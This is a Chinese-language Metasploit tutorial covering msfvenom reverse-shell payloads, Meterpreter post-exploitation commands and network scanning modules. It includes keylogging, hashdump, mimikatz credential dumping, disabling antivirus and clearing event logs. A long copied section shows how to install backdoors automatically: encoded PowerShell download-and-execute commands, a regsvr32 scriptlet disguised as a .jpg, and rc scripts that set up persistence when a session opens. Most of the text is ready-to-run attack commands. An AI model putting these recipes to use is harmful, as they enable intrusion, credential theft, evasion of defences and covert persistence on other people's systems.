Metasploit体系框架
- 基础库文件
基础库文件位于源码根目录下的libraries目录中,包括
Rex //整个Metasploit框架所依赖的最基础的组件,为开发者提供基础功能支持
framwork-core //负责实现所有与各种类型的上层模块及插件的交互接口
framework-base //扩展了framework-core,提供更加简单的包装例程,为处理框架各个方面的功能提供了一些功能类,用于支持用户接口与功能程序调用框架本身功能及框架集成模块
- 模块
模块是通过Metasploit框架装载集成对外提供的最核心的渗透测试功能实现代码。
分为
Aux(辅助模块)
Exploit(攻击模块)
Payloads(攻击载荷模块)
Nops(空指令模块)
Encoders(编码器模块)
#知道漏洞名称之后可以在
https://www.exploit-db.com
https://www.rapid7.com
搜索对应的模块或者pc添加利用
默认的模块路径应为:/usr/share/metasploit-framework/modules
将模块添加进对应文件夹之后在msf终端执行reload_all
即可重载模块
- 插件
插件是扩充的功能,可以集成现有的一些玩不安全工具比如Nessus OpenVAS等,为用户接口提供新的命令
- 接口
Metasploit框架提供了多种用户接口,包括
msfconsole控制台终端
msfcli命令行
armitage图形化界面
msfapi远程调用接口
- 功能程序
Metasploit提供了一些列可直接运行的功能程序,支持用户快速利用Metasploit框架内部能力完一些任务。
-
启动metasploit(命令行模式) :msfconsole
-
(图形化模式):msfgui
-
升级metasploit:msfupdate
-
查看命令使用帮助信息:help [COMMAND]
-
搜索模块:search [模块名 //(search ms08-067)
-
选择模块:use xxx/xxx/xxx
-
查看攻击载荷:show payloads
-
设置攻击载荷:set payload xxx/xxx/xxx
-
查看需要设置的配置参数:show options
-
设置配置参数:set XXXX xxxxxx
-
开始攻击:exploit
-
-
搜索时出现[!] Database not connected or cache not built, using slow search
msf > db_status
service postgresql start
sercice metasploit start
msf > db_rebuild_cache
Msfvenom
help参数
Options:
-p, --payload <payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定
-l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled <length> 为payload预先指定一个NOP滑动长度
-f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
-a, --arch <architecture> 指定payload的目标架构
--platform <platform> 指定payload的目标平台
-s, --space <length> 设定有效攻击荷载的最大长度
-b, --bad-chars <list> 设定规避字符集,比如: '\x00\xff'
-i, --iterations <count> 指定payload的编码次数
-c, --add-code <path> 指定一个附加的win32 shellcode文件
-x, --template <path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out <path> 保存payload
-v, --var-name <name> 指定一个自定义的变量,以确定输出格式
--shellest 最小化生成payload
-h, --help 查看帮助选项
--help-formats 查看msf支持的输出格式列表
生成payload,有有两个必须的选项:-p -f
使用-p 来指定要使用的payload。
可以使用下面的命令来查看所有msf可用的payload列表
msfvenom -l payloads
-p选项也支持使用使用自定义的payload,需要使用 “-”,比如:
cat payload_file.bin | ./msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw
使用-f 来指定payload的输出格式
msfvenom -p windows/meterpreter/bind_tcp -f exe
使用下面的命令,可以产看msf支持的输出格式
msfvenom --help-formats
一个典型的msfvenom使用:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Attacker's IP] LPORT=4444 -f exe -o /tmp/my_payload.exe
对payload进行编码
如果你使用了-b选项(设定了规避字符集),会自动调用编码器。
其他情况下,你需要使用-e选项来使用编码模块,例如:
msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw
可以使用下面的命令,来查看可用的编码器
msfvenom -l encoders
你也可以使用-i选项进行多次编码。某些情况下,迭代编码可以起到规避杀毒软件的作用,但你需要知道,编码并没有使用一个真正意义上的AV规避方案。
可以使用下面的命令来进行迭代编码:
msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3
规避字符
使用-b选项意味着在生成payload的时候对某些字符进行规避。当你使用这个选项的时候,msfvenom会自动的使用合适的编码器对payload进行编码,比如:
msfvenom -p windows/meterpreter/bind_tcp -b '\x00' -f raw
使用自定义可执行文件模板
默认的,msfvenom使用的模板文件保存在msf/data/templates目录中,如果你想使用你自己的模板文件,你可以使用-x选项来指定,比如:
msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe
这个命令将使用windows下计算器程序(calc.exe)作为可执行文件的模板生成payload。
监听连接
使用exploit/multi/handler监听连入的backdoor
msf > use exploit/multi/handler
设置对应的payload
msf exploit(handler) > set payload windows/meterpreter/reverse_http
显示所有的设置
msf exploit(handler) > show options
进行设置如set LHOST之后
msf exploit(handler) > exploit -j
在后台运行handler进行监听payload的连接
Meterpreter
核心命令
? – 帮助菜单
background – 将当前会话移动到背景
bgkill – 杀死一个背景 meterpreter 脚本
bglist – 提供所有正在运行的后台脚本的列表
bgrun – 作为一个后台线程运行脚本
channel – 显示活动频道
close – 关闭通道
exit – 终止 meterpreter 会话
help – 帮助菜单
info -
interact – 与通道进行交互
irb – 进入 Ruby 脚本模式
migrate – 移动到一个指定的 PID 的活动进程
quit – 终止 meterpreter 会话
read – 从通道读取数据
run – 执行以后它选定的 meterpreter 脚本
use – 加载 meterpreter 的扩展
write – 将数据写入到一个通道
文件系统命令
cat -读取并输出到标准输出文件的内容
cd -更改目录对受害人
del -删除文件对受害人
download-从受害者系统文件下载
search - 在目标主机文件系统上查找搜索文件例如:search -d c:\\ -f *.doc 在目标主机C盘下搜索doc文档
edit-用 vim编辑文件
getlwd -打印本地目录
getwd -打印工作目录
lcd -更改本地目录
lpwd -打印本地目录
ls -列出在当前目录中的文件列表
mkdir -在受害者系统上的创建目录
pwd -输出工作目录
rm -删除文件
rmdir -受害者系统上删除目录
upload-从攻击者的系统往受害者系统上传文件
网络命令
ipconfig -显示网络接口的关键信息,包括 IP 地址、 等。
portfwd -端口转发 例如:portfwd add -l 1122 -p 3389 -r 192.168.250.176把目标主机192.168.250.176的3389端口转发到1122端口
route -查看或加入受害者路由表 route add 5.5.5.0 255.255.255.0 1 用sessions 1会话加入指定网段
arp - 显示主机ARP缓存
getproxy - 显示当前代理配置
netstat - 显示网络连接
系统命令
clearev -清除了受害者的计算机上的事件日志
drop_token -被盗的令牌
execute-执行命令 在目标主机上运行某个程序 execute -f notepad.exe 行目标主机上的记事本程序 隐藏后台执行,加参数-H
getpid -获取当前进程 ID (PID)
getprivs -尽可能获取尽可能多的特权
getenv 获取一个或多个环境变量值
localtime 显示目标系统的本地日期和时间
pgrep 按名称显示进程
pkill 按名称终止进程
getuid -获取作为运行服务器的用户
kill -终止指定 PID 的进程
ps -列出正在运行的进程
reboot-重新启动受害人的计算机
reg -与受害人的注册表进行交互
rev2self -在受害者机器上调用 RevertToSelf()
shell -在受害者计算机上打开一个shell
shutdown-关闭了受害者的计算机
steal_token -试图窃取指定的 (PID) 进程的令牌
suspend - 暂停或恢复进程列表
sysinfo -获取有关受害者计算机操作系统和名称等的详细信息
用户界面命令
enumdesktops -列出所有可访问台式机
getdesktop -获取当前的 meterpreter 桌面
idletime -检查长时间以来,受害者系统空闲进程
keyscan_dump -键盘记录软件的内容转储
keyscan_start -启动时与如 Word 或浏览器的进程相关联的键盘记录软件
keyscan_stop -停止键盘记录软件
screenshot-抓去 meterpreter 桌面的屏幕截图
set_desktop -更改 meterpreter 桌面
uictl -启用用户界面组件的一些控件
提权命令
getsystem -获得系统管理员权限
密码转储命令
hashdump -抓去哈希密码 (SAM) 文件中的值
hashdump 可以跳过杀毒软件,但现在有两个脚本,都更加隐蔽,”run hashdump”和”run smart_hashdump”。
Timestomp 命令
timestomp -操作修改,访问,并创建一个文件的属性
后渗透模块
抓取目标主机所有用户的明文密码
load mimikatz
wdigest
确定目标主机是否是一台虚拟机
run checkvm
开启目标主机远程桌面,并可添加管理员组账号
run getgui -e
开启目标主机的远程桌面服务后,可以添加账号以便利用
命令:
run getgui -u example_username -p example_password
关闭防护软件
run killav
获取目标主机上的软件安装信息
run post/windows/gather/enum_applications
获取目标主机上最近访问过的文档、链接信息
run post/windows/gather/dumplinks
读取目标主机IE浏览器cookies等缓存信息,嗅探目标主机登录过的各类账号密码
run post/windows/gather/enum_ie //获取到的目标主机上的ie浏览器缓存历史记录和cookies信息等都保存到了攻击主机本地的/root/.msf5/loot/目录下
Meterpreter维持访问
//文章来自http://www.evil0x.com/posts/26075.html
0x01 MSF Persistent Scripts
1、Persistence
路径:metasploit/scripts/meterpreter/persistence.rb,用于创建通过启动项启动。会创建注册表,创建文件,很容易被杀软拦截。
使用举例:
run persistence -A -U -i 5 -p 4455 -r 103.79.77.110
使用-S可创建服务。-U 会在HKCU添加启动项,-X 会在HKLM添加启动项
能实现同样功能的脚本还有:
exploit/windows/local/persistence.rb
exploit/windows/local/registry_persistence.rb
2、Metsvc
路径:metasploit/scripts/meterpreter/metsvc.rb,用于创建服务启动。会创建meterpreter服务,并上传三个文件,很容易被杀软拦截,且安装服务需要管理员权限。
使用举例:
run metsvc -A
使用 -R 参数可卸载服务。
3、Scheduleme & Schtasksabuse
路径:
metasploit/scripts/meterpreter/scheduleme.rb
metasploit/scripts/meterpreter/schtasksabuse.rb
这两个脚本都是通过schtasks来创建计划任务来达到维持权限的目的,区别是scheduleme 需要当前进程拥有最高管理权限,而schtasksabuse则不需要,(测试发现很容易被杀软拦截)。
使用举例:
scheduleme
run scheduleme -m 1 -e /tmp/nc.exe -o "-e cmd.exe -L -p 8080" #上传nc并创建计划任务每一分钟执行一次 'nc -e cmd.exe -L -p 8080'
run scheduleme -m 1 -c "cmd /c calc.exe" # 创建计划任务每一分钟执行一次打开计算器命令
其他参数有兴趣自己看看就不详细介绍了
schtasksabuse
run schtasksabuse -t 192.168.2.7 -c "cmd /c calc.exe" -d 4 #每隔4秒执行一次calc.exe
使用脚本需要加-T参数
能实现同样功能的脚本还有:
exploits/windows/local/s4u_persistence.rb
4、Mof_ps_persist
之前在 Powershell之MOF后门 提到过,创建WMI后门的一种方式,可以在你的MSF添加此脚本。(运行需要管理员权限,不容易被拦截)
当然,MSF持续控制的脚本还有几个,这里就不一一介绍了。
0x02 Autorunscript
说到要自动运行脚本,离不了autorunscript。autorunscript是一个十分强大的脚本,可以让我们在生成会话的同时,执行指定的操作。现在可以直接通过autorunscript来直接调用的脚本已经有66个,目录在metasploit/scripts/meterpreter,包括屏幕截图,获取环境变量等等,还有我们常用的migrate,uploadexec等。
举个例子,如果我们想在获取到会话的同时,执行persistence进行留后门操作可以直接这样:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.2.101
set LPORT 5555
set ExitOnSession false
set AutoRunScript persistence -r 192.168.2.101 -p 5556 -U -X -i 30
exploit -j -z
当生成会话以后,自动执行persistence,结果就像这样:
当然,同样可以设置metsvc
set AutoRunScript metsvc -A
其实,从标题上来讲,此文已经可以结束了,因为现在完全可以实现Automated Persistent Backdoor的目的。但是,以上两种方式很容易被杀软拦截,那我们还有什么方式么?答案是有的。
在介绍之前,再介绍两个很有用的脚本。multi_console_command 及 multicommand。
multi_console_command:用来执行msf的命令的脚本,帮助信息如下:
使用示例:
meterpreter > run multi_console_command -cl "pwd"
CL参数用来执行一条METERPRETER的命令,RC参数用来执行多条METERPRETER命令,按行分割。
multicommand:用来执行cmd命令的脚本,帮助信息如下:
使用示例:
run multicommand -cl “whoami”
此脚本可用来执行CMD命令,有一个缺点就是会一直等待执行的程序退出以返回结果。
0x03 Resource scripts
除了使用以上Autorunscript,使用Resource 脚本也是可以的,通常我们常见的rc脚本内容是这样的:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.184
set ExitOnSession false
exploit -j -z
将以上内容保存为1.rc,然后执行如下命令:
msfconsole -r 1.rc
自动输入命令而省去了我们一条一条输入的繁琐。其实,rc文件里面也可以写ruby代码的,一个简单的示例如下:
use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.2.101
set lport 6666
set uripath /
set ExitOnSession false
exploit -j
<ruby>
sleep(1)
print_status("Waiting on an incoming sessions...")
while (true)
framework.sessions.each_pair do |sid,s|
thost = s.tunnel_peer.split(":")[0]
# Ensure that stdapi has been loaded before running
if s.ext.aliases['stdapi']
sleep(2)
print_status("run screenshot to session #{sid} #{thost}...")
s.console.run_single("screenshot")
sleep(2)
print_status("Executing persistent command...")
s.console.run_single("run persistence -r 192.168.2.101 -p 5556 -U -i 30")
sleep(4)
print_status("Closing session #{sid} #{thost}...")
s.kill
print_status("Waiting on an incoming sessions...")
else
print_status("Session #{sid} #{thost} active, but not yet configured")
sleep(15)
end
end
sleep(4)
end
print_status("All done")
</ruby>
使用以上Resource的效果是,开启
exploit/multi/script/web_delivery
进行配置并开启监听,当产生一个会话以后,自动执行screenshot以及persistent操作,最后关闭当前会话继续等待。效果如下图:
0x04 绕过拦截
至此,我们已经可以通过使用autorunscript或者使用添加ruby代码的resource脚本两种方式来让msf在产生会话的同时自动创建Persistent Backdoor了,那么AV那一关怎么过呢?别着急,很多人都知道,Powershell在绕AV上有不错的效果,那我们就试试使用Powershell。
测试过程如下:
1、首先我们先通过web_delivery的PSH获取到一个meterpreter会话。
2、构造创建计划任务命令如下:
schtasks /create /tn mytask /tr notepad.exe /sc hourly /mo 1 #指定每1小时执行一次notepad.exe
3、测试shell下直接执行(被拦截):
4、将以上命令写入schtasks.ps1,然后通过IEX下载执行,这种方式就不会被拦截了:
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/DemoShell/schtasks.ps1');"
测试如下图:
未被拦截的情况下成功建立计划任务。
5、将命令写入autorunscript:
由于命令中存在引号,可以通过编码方式解决,详细如下:
echo "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/DemoShell/schtasks.ps1');" | iconv --to-code UTF-16LE |base64
最后执行的命令为:
powershell -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUgBpAGQAdABlAHIALwBQAGUAbgB0AGUAcwB0AC8AbQBhAHMAdABlAHIALwBwAG8AdwBlAHIAcwBoAGUAbABsAC8ARABlAG0AbwBTAGgAZQBsAGwALwBzAGMAaAB0AGEAcwBrAHMALgBwAHMAMQAnACkAOwAKAA==
之后我们就需要用到multicommand脚本了,自动运行的命令为:
set autorunscript 'multicommand -cl "powershell -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUgBpAGQAdABlAHIALwBQAGUAbgB0AGUAcwB0AC8AbQBhAHMAdABlAHIALwBwAG8AdwBlAHIAcwBoAGUAbABsAC8ARABlAG0AbwBTAGgAZQBsAGwALwBzAGMAaAB0AGEAcwBrAHMALgBwAHMAMQAnACkAOwAKAA=="'
演示如下:
现在我们就在获取meterpreter会话之后,绕过拦截自动创建了计划任务,至于怎么样使用计划任务创建一个后门,其实已经有了现成的powershell脚本。请看拓展。
0x05 拓展
PowerSploit 是一个Powershell的渗透框架,其中含有Persistence模块,不知道小伙伴没有没有测试过。具体怎么使用这里就不详细介绍了,有兴趣可是看一下里面的Help信息。
1、首先,生成一个自动创建计划任务后门的脚本:
加载Persistence模块:
PS C:/Persistence> Import-Module ./Persistence.psm1
因为常常我们希望在没有最高权限的情况下创建后门,为了避免杀软,尽量不使用添加注册表的方式,所以,这里依然使用计划任务的方式来创建,执行时间是计算机空闲状态执行。具体命令如下:
PS C:/Persistence> $ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
PS C:/Persistence> $UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
PS C:/Persistence> Add-Persistence -FilePath ./evil.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
可以看脚本说明更改触发条件
evil.ps1是计划任务要执行的payload,可以使用以下命令来生成。
msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.2.101 lport=7777 -f psh-reflection -o evil.ps1
最终生成脚本如下:
2、测试脚本功能:
将Persistence.ps1 脚本放到web上通过IEX来加载。创建成功以后当电脑空闲时,会执行命令,从而产生meterpreter会话。
测试方式为执行以下命令:
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://domain.com/Persistence.ps1'); "
在这里发现一个小BUG,运行脚本的时候,执行的POWERSHELL对话框并不会隐藏,解决方式是修改PERSISTENCE.PS1 ,找到POWERSHELL.EXE -NONINTERACTIVE 并添加 -W HIDDEN 参数。如果有已经有了CMD权限,可以直接执行此命令添加计划任务后门,这里设置为获取METERPRETER之后自动执行是为了在通过某些其他漏洞获取METERPRETER会话之后自动创建计划任务后门。
测试发现脚本可以实现我们想要的功能。
3、构造Autorunscript命令:
现在要做的就是把Auturunscript以及Persistence.ps1相结合使用,由于命令中存在引号,可以根据前文中提到的方式进行编码处理。但是,经过测试,按照上文中的方式执行是有问题的,multicommand执行会等待程序执行结束并获取执行结果,这样一来,由于执行的进程不会退出且无回显,所以,会导致程序报错!
多次测试以后,找到了解决方式,即使用http://drops.wooyun.org/tips/15124所讲的方式。
构造sct文件如下:
<?XML version="1.0"?>
<scriptlet>
<registration
progid="ShortJSRAT"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Learn from Casey Smith @subTee -->
<script language="JScript">
<![CDATA[
rat = "base64codes"
ps = "cmd.exe /c powershell -window hidden -enc "
new ActiveXObject("WScript.Shell").Run(ps + rat,0,true);
]]>
</script>
</registration>
</scriptlet>
将以上内容命名为test.jpg并放到web服务器上(替换掉base64codes),之后执行
regsvr32 /u /s /i:http://domain.com/test.jpg scrobj.dll
与执行powershell的命令是等价的。并且会通过regsvr32开启新的进程而不影响multicommand的执行。
所以最终要设置的内容为:
set autorunscript 'multicommand -cl "regsvr32 /u /s /i:http://domain.com/test.jpg scrobj.dll"'
当获取meterpreter会话以后,自动执行命令安装后门:
这样,两者就完美的结合了。重启以后,空闲状态时,脚本执行,重新获取meterpreter会话。这里就不截图了。
以上命令可写入rc文件方便运行:
payload.rc:
use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.2.101
set lport 6666
set uripath /
set ExitOnSession false
set autorunscript 'multicommand -cl "regsvr32 /u /s /i:http://domain.com/test.jpg scrobj.dll"'
exploit -j
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set lhost 192.168.2.101
set lport 7777
set ExitOnSession false
exploit -j
自己配置修改相关选项
模块使用
此部分待完善,模块太多无法一一详细列出
系统部分
活跃主机扫描
Metasploit主机发现模块
模块位于源码路径的modules/auxiliary/scanner/discovery/
主要有
arp_sweep
ipv6_mulitcast_ping
ipv6_neighbor
ipv6_neighbor_router_advertisement
udp_probe
udp_sweep
- arp_sweep使用arp请求枚举本地局域网中的所有活跃主机
- udp_sweep通过发送UDP数据包探查指定主机是否活跃,并发现主机上的udp服务。
arp_sweep模块使用方法
> use auxiliary/scanner/discovery/arp_sweep
> show options
-
首先输入RHOSTS设置扫描目标 //大部分RHOSTS可以设置一个或多个IP,多个IP之间使用连字符“-”表示。
set RHOSTS 10.10.10.0/24
set THREADS 50
run -
设置好参数后输入run启动扫描器
端口扫描
可以输入如下命令找到相关扫描器
> search portscan
返回
auxiliary/scanner/protscan/ack //通过ACK扫描的方式对防火墙上未被屏蔽的端口进行探测
auxiliary/scanner/protscan/ftpbounce //通过FTP bounce攻击的原理对TCP服务进行枚举,一些新的FTP服务器软件能很好的防范此攻击,但在旧的系统上仍可以被利用
auxiliary/scanner/protscan/syn //使用发送TCP SYN标志的方式探测开放端口
auxiliary/scanner/protscan/tcp //通过一次完整的TCP连接来判断端口是否开放 最准确但是最慢
auxiliary/scanner/protscan/xmas //一种更为隐秘的扫描方式,通过发送FIN,PSH,URG标志,能够躲避一些高级的TCP标记检测器的过滤
一般情况下推荐使用syn端口扫描器,速度较快,结果准确,不易被对方察觉
syn扫描器的使用
> use auxiliary/scanner/protscan/syn
> set RHOSTS 10.10.10.10/254
> set THREADS 20
> run
服务扫描与查点
确定开放端口后,对相应端口上锁运行的服务信息进行挖掘
在Metasploit的Scanner辅助模块中,用于服务扫描和查点的工具常以
[service_name]_version
和
[service_name]_login
命名
- [service_name]_version 可用于遍历网络中包含了某种服务的主机,并进一步确定服务的版本。
- [service_name]_login 可对某种服务进行口令探测攻击
在msf终端中可以输入:
search name:_version
查看所有可用的服务查点模块
常见网络服务扫描
Telnet服务扫描
> use auxiliary/scanner/telnet/telnet_version
> set RHOSTS xxx.xxx.xxx/24
> set THREADS 100
> run
SSH服务扫描
> use auxiliary/scanner/ssh/ssh_version
> set RHOSTS xx.xx.xx.x/24
> set THREADS 100
> run
Oracle数据库服务查点
> use auxiliary/scanner/oracle/tnslsnr_version
> set RHOSTS xx.xx.xx.xx/24
> set THREADS 50
> run
smb服务扫描
> msf> use auxiliary/scanner/smb/smb_version
> show options
> set RHOSTS 192.168.1.111
> run
> db_hosts –c address,os_flavor
查找mssql 主机
> msf> use auxiliary/scanner/mssql/mssql_ping
> show options
> set RHOSTS 192.168.1.0/24
> set THREADS 255
> run
FTP 主机扫描
msf> use auxiliary/scanner/ftp/ftp_version
> show options
> set RHOSTS 192.168.1.0/24
> set THREADS 255
> run
扫描FTP 匿名登录
> use auxiliary/scanner/ftp/anonymos
> set RHOSTS 192.168.1.0/24
> set THREADS 50
> run
扫描SNMP 主机
msf> use auxiliary/scanner/snmp/snmp_login
> set RHOSTS 192.168.1.0/24
> set THREADS 50
> run
开放代理探测辅助模块
Metasploit提供了open_proxy模块,可以方便的获取免费的HTTP代理服务器地址,用来隐藏真实ip
> use auxiliary/scanner/http/open_proxy
> set SITE www.google.com
> set RHOSTS 24.25.24.1-24.25.26.254
> set MULTIPORTS true
> set VERIFY_CONNECT true
> set THREADS 100
> run
口令猜测与嗅探
SSh服务弱口令猜测
> use auxiliary/scanner/ssh/ssh_login
> set RHOSTS 10.10.10.254
> set USERNAME root
> set PASS_FILE /root/words.txt
> set THREADS 50
> run
psnuffle口令嗅探
可以截获常协议的身份认证过程,并将用户名和口令信息记录下来
> use auxiliary/sniffer/psunffle
> run
实际使用中,只有在得到能够介入对方网络的初始访问点之后,才能使用此模块进行口令嗅探。
漏洞扫描
- 与漏洞扫描器结合扫描
- 特殊扫描:
SMB 弱口令
msf> use auxiliary/scanner/smb/smb_login
> set RHOSTS 192.168.1.111-222
> set SMBUser Administrator
> set SMBPass admin
>run
VNC 空口令:
msf> use auxiliary/scanner/vnc/vnc_none_auth
> set RHOSTS 192.168.1.111
> run
Open X11 空口令:
msf> use auxiliary/scanner/x11/open_x11
> set RHOST 192.168.1.0/24
> set THREADS 50
> run
当扫描到此漏洞的主机后可以使用xspy 工具来监视对方的键盘,输入:
cd /pentest/sniffers/xspy/
./xspy –display 192.168.1.125:0 –delay 100
数据库
Metasploit支持使用数据库来保存渗透测试过程中获取的各种数据
Metasploit的数据库支持
root@kali:~# service postgresql start//开启postgresql数据库
root@kali:~# msfdb init//初始化msf数据库
//输入如下命令,查看默认安装的PostgreSQL数据库默认管理员口令:
cat /opt/metasploit/properties.ini | grep "postgres_root_password" postgres_root_password=84cd2bcf
在Metasploit中使用PostgreSQL
第一次运行msfconsole时,Metasploit会创建名称为msf3dev的PostgreSQL数据库,并生成保存渗透测试数据所需的数据表,然后使用名称为msf3的用户,自动连接到msf3数据库
查看数据库的连接状态:
> db_status
[*] postgresql connected to msf3dev //说明数据库连接正常
连接到其他数据库
每次msfconsole启动时,会自动连接到msf3dev数据库,连接到其他数据库应用db_connect命令
msf > db_connect 用户名:口令@服务器地址:端口/数据库名称
用户名为postgres,口令如上在/opt/metasploit/properties.ini中查找
输入db_connect连接
msf > dv_connect postgress:84cd2bcf@localhost:7337/msf4
连接到数据库后,可以使用hosts命令检查数据库是否可以正常使用。
msf > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
删除一个数据库:
/opt/framework/metasploit/bin/dropdb msf4
password:
断开数据库连接:
msf > db_disconnect
Nmap连接渗透测试数据库
msf > db_nmap -Pn -sV 10.10.10.0/24
该命令是Nmap的一个封装,与Nmap使用方法一样,其执行结果会自动输入到数据库当中
也可以将Nmap扫描结果导出为一个输出文件,并导入渗透测试数据库中,只要在Nmap命令中加入-oX参数
nmap -Pn -sV -oX dmz 10.10.10.0/24
扫描结束后,在当前目录下生成名为dmz的文件,可以在msf终端中导入数据库中
msf > db_import /root/dmz
// db_import命令还能识别Acunetix,Amap,Appscan,Burp Session,Microsoft Baseline Security Analyzer,Nessus,NetSparker,NeXpose,OpenVAS Report,Rentina 等扫描器的结果
OpenVAS连接渗透测试数据库
首先载入OpenVAS插件,并连接到PoenVAS管理引擎
msf > load openvas
msf > openvas_connect admin your_openvas_passwd 10.10.10.128 9390 ok
找到想要导入的扫描报告,导入数据库中
*Metasploit之支持导入NBE格式的扫描报告,导入前需要使用openvas_format_list查找NBE格式的ID号
msf > openvas_report_list
msf > openvas_format_list
msf > openvas_report_import 2 4
共享渗透测试信息数据库
- [ ] waiting
Web部分
Web应用辅助扫描,漏洞查找等模块基本都在 modules/auxiliary/ 下,Metasploit内置了wmap WEB扫描器
- 辅助模块
wmap
要先创建一个数据库用来存放扫描数据
初始化wmap
msf > load wmap
msf > help
wmap Commands
=============
Command Description
------- -----------
wmap_modules Manage wmap modules
wmap_nodes Manage nodes
wmap_run Test targets
wmap_sites Manage sites
wmap_targets Manage targets
wmap_vulns Display web vulns
使用wmap扫描
msf > wmap_sites -a http://202.112.50.74 //添加要扫描的网站
msf > wmap_sites -l
msf > wmap_targets -t http://202.112.20.74 //只能添加ip地址 //把添加的网站作为扫描目标
msf > wmap_run -t //查看那些模块将在扫描中使用
msf > wmap_run -e //开始扫描
msf > vulns //查看漏洞信息
- 渗透模块
Metasploit针对Web应用的渗透模块分赛在module中的多个文件中下,主要集中在
exploit/unix/webapp
exploit/windows/http
exploit/multi/http
网站信息查询
搜索网站目录
dir_scanner
msf> use auxiliary/scanner/http/dir_scanner
msf>set THERADS 50
msf>set RHOSTS www.testfire.net
msf>exploit
搜索网站中的email地址
msf> use auxiliary/gather/search_email_collector
>set DOMAIN altoromutual.com
>altoromutual.com
>run
XSSF
一个跨站脚本攻击框架
- 首先下载最新的XSSF程序,解压压缩包,把四个文件夹合并到/opt/framework/msf3 中
加载xssf
msf > load xssf
查看基本配置信息
msf > xssf_urls
查看受到攻击的主机的信息
msf > xssf_victims
//状态为true的是最近的一次攻击成功的信息
查看被攻击主机的信息
msf > xssf_information 4
目标浏览器为IE6.0
选择相关模块进行攻击
msf > use auxiliary/server/browser_autopwn
> set LHOST 10.10.10.128
> set SRVHOST 10.10.10.128
> set SRVPORT 8080
> exploit
查看可以被利用的模块信息
> jobs